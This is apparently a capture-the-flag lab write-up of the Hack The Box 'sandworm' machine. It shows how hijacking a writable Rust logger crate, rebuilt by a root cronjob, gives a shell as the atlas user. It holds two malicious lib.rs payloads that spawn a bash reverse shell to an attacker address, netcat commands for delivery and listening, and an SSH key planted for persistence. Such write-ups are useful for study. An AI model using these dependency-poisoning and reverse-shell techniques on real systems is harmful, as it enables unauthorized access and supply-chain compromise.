Rust Crate Hijacking


A root cronjob process is building and running a custom Rust program, TipNet, with an interval of 2 minutes. TipNet is designed to aid the anonymous tip submission feature available in the web application. During the source analysis, I found out that TipNet makes use of an external custom Cargo crate, logger, which I had FULL access to as the silentobserver user.

Here, I will attempt to modify the source code of the external custom Cargo crate, logger, effectively hijacking it. It would result the root cronjob process to build and run a version of TipNet that contains a malicious version of the logger crate

┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ cat lib.rs
extern crate chrono;
 
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
 
use std::process::Command; // Added import statement for Command
 
pub fn log(user: &str, query: &str, justification: &str) {
    let now = local::now();
    let timestamp = now.format("%y-%m-%d %h:%M:%S").to_string();
    let log_message = format!("[{}] - user: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
 
    let mut file = match openoptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
        Ok(file) => file,
        Err(e) => {
            println!("error opening log file: {}", e);
            return;
        }
    };
 
    if let Err(e) = file.write_all(log_message.as_bytes()) {
        println!("error writing to log file: {}", e);
    }
 
	// Execute the reverse shell
    command::new("bash")
        .arg("-c")
        .arg("/bin/bash -i >& /dev/tcp/10.10.14.4/8888 0>&1")
        .spawn()
        .expect("Failed to spawn reverse shell");	
}

I basically appended a simple Bash reverse shell at the bottom

┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ nc $IP 2222 < lib.rs
 
silentobserver@sandworm:/opt/crates/logger/src$ nc -nlvp 2222 > lib.rs
Listening on 0.0.0.0 2222
Connection received on 10.10.14.4 40010

Delivery complete The original lib.rs file is gone and replaced with the malicious lib.rs file

The root cronjob process is executing the command

It goes through a series of compilations

and the payload is executed.

┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ nnc 8888
listening on [any] 8888 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.218] 47664
bash: cannot set terminal process group (1046257): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ whoami
whoami
atlas
atlas@sandworm:/opt/tipnet$ hostname
hostname
sandworm
atlas@sandworm:/opt/tipnet$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.218  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:ed83  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:ed83  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:ed:83  txqueuelen 1000  (Ethernet)
        RX packets 3567249  bytes 650211841 (650.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4255896  bytes 1808286792 (1.8 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 12298090  bytes 2190338808 (2.1 GB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 12298090  bytes 2190338808 (2.1 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Lateral Movement made to the atlas user via exploiting a cronjob process by hijacking a Cargo crate of a custom Rust program This session, unlike the initial foothold, is not bound by the firejail’s sandbox environment as I am able to access and execute all the binaries in the system

atlas@sandworm:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali' > ~/.ssh/authorized_keys
 
┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ ssh atlas@ssa.htb -i ~/.ssh/id_ed25519 

Upgrading to a SSH session

Simple payload


use std::process::Command;
 
pub fn log(user: &str, query: &str, justification: &str) {
    Command::new("bash")
        .arg("-c")
        .arg("/bin/bash -i >& /dev/tcp/10.10.14.4/8887 0>&1")
        .spawn()
        .expect("Failed to spawn reverse shell");
}

This works too. I just needed to match the function name & arguments Additionally, building and running with a dependency crate is alone is sufficient to execute the code inside.

┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ nc $IP 2222 < lib2.rs
 
silentobserver@sandworm:/opt/crates/logger/src$ nc -nlvp 2222 > lib.rs
Listening on 0.0.0.0 2222
Connection received on 10.10.14.4 46202

┌──(kali㉿kali)-[~/archive/htb/labs/sandworm]
└─$ nnc 8887
listening on [any] 8887 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.218] 33592
bash: cannot set terminal process group (1047055): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ id
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)